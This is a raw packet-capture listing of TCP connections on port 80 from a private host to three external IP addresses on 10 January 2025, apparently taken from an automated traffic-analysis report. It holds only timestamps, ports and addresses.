Jan 10, 2025 23:23:29.138811111 CET	49797	80	192.168.11.20	20.2.36.112
Jan 10, 2025 23:23:33.153523922 CET	49797	80	192.168.11.20	20.2.36.112
Jan 10, 2025 23:23:41.167447090 CET	49797	80	192.168.11.20	20.2.36.112
Jan 10, 2025 23:23:48.805599928 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:23:49.821696043 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:23:51.836968899 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:23:55.851663113 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:24:03.865503073 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:24:11.793869972 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:24:12.801068068 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:24:14.816226959 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:24:18.831063986 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:24:26.844826937 CET	49797	80	192.168.11.20	20.2.113.172
Jan 10, 2025 23:24:38.049316883 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.221379042 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.221616030 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.232712984 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.406724930 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.406785011 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.406851053 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.406894922 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.406990051 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.406995058 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.407047987 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.407146931 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.407212019 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.407308102 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.407370090 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.407485962 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.407538891 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.407605886 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.407763958 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.579267025 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.579294920 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.579456091 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.585277081 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.585387945 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.585550070 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.597372055 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.597460985 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.597594976 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.609498978 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.609596968 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.609756947 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.621541977 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.621779919 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.621987104 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.633600950 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.633714914 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.633842945 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.645680904 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.645791054 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.645987988 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.657809019 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.657915115 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.658065081 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.669862986 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.669959068 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.670142889 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.682005882 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.682118893 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.682285070 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.751646042 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.751704931 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.751928091 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.757673979 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.757730007 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.757900953 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.769701004 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.769853115 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.770039082 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.781827927 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.781882048 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.782100916 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.793916941 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.793972969 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.794178009 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.805959940 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.806015015 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.806199074 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.818022966 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.818078041 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.818209887 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.830113888 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.830306053 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.830499887 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.842084885 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.842140913 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.842363119 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.853050947 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.853194952 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.853465080 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.863415956 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.863471031 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.863672018 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.873034000 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.873183966 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.873394966 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.882581949 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.882639885 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.882874012 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.892288923 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.892348051 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.892518997 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.901916027 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.902065992 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.902239084 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.911604881 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.911659002 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.911823988 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.921156883 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.921303988 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.921547890 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.930797100 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.930850983 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.931039095 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.936866999 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.936920881 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.937072039 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.942888021 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.942941904 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.943115950 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.948911905 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.948965073 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.949192047 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.954978943 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.955034018 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.955198050 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.960827112 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.960880995 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.961042881 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.966732979 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.966789961 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.967010021 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.972531080 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.972686052 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.972847939 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.978435993 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.978492022 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.978619099 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.984317064 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.984371901 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.984530926 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.990195990 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.990291119 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.990432978 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:38.996098995 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.996154070 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:38.996351004 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.001985073 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.002039909 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.002185106 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.007755041 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.007812977 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.007993937 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.013721943 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.013777018 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.013993025 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.019555092 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.019706011 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.019921064 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.025396109 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.025450945 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.025614977 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.031244993 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.031297922 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.031425953 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.037077904 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.037133932 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.037278891 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.042875051 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.042918921 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.043068886 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.048614979 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.048765898 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.048933983 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.054191113 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.054274082 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.054435968 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.059824944 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.059880972 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.060039997 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.065181971 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.065341949 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.065490961 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.070450068 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.070508003 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.070681095 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.075721025 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.075778008 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.075954914 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.080846071 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.080998898 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.081159115 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.086036921 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.086093903 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.086293936 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.091003895 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.091064930 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.091265917 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.096051931 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.096107960 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.096271992 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.101068974 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.101176023 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.101303101 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.105878115 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.105933905 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.106113911 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.109668970 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.109725952 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.109896898 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.113358021 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.113413095 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.113624096 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.117033958 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.117086887 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.117286921 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.120599985 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.120755911 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.120927095 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.124165058 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.124219894 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.124417067 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.127666950 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.127722979 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.127887964 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.131072998 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.131129026 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.131305933 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.134382963 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.134440899 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.134583950 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.137691975 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.137748957 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.137953043 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.141015053 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.141072989 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.141293049 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.144195080 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.144249916 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.144450903 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.147418022 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.147473097 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.147615910 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.150470972 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.150525093 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.150691986 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.153609037 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.153757095 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.153992891 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.156692982 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.156747103 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.156943083 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.159710884 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.159766912 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.159998894 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.162658930 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.162714958 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.162873030 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.165635109 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.165692091 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.165855885 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.168521881 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.168674946 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.168865919 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.171531916 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.171590090 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.171860933 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.174361944 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.174417973 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.174649954 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.177130938 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.177186966 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.177354097 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.179933071 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.179990053 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.180491924 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.182743073 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.182797909 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.183002949 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.185441017 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.185496092 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.185667038 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.188124895 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.188278913 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.188446045 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.190804005 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.190856934 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.191016912 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.193557978 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.193614006 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.194261074 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.196106911 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.196162939 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.196425915 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.198653936 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.198709011 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.198883057 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.201270103 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.201325893 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.202052116 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.203845978 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.203902006 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.204070091 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.206281900 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.206361055 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.206584930 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.208806038 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.208861113 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.209021091 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.211249113 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.211293936 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.211467028 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.213674068 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.213730097 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.213896036 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.216264009 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.216305017 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.216475010 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.218524933 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.218648911 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.218903065 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.221035004 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.221091032 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.221278906 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.223426104 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.223480940 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.223679066 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.225740910 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.225893974 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.226074934 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.228148937 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.228203058 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.228441954 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.230454922 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.230509996 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.230653048 CET	49798	80	192.168.11.20	63.250.43.134
Jan 10, 2025 23:24:39.232855082 CET	80	49798	63.250.43.134	192.168.11.20
Jan 10, 2025 23:24:39.232909918 CET	80	49798	63.250.43.134	192.168.11.20
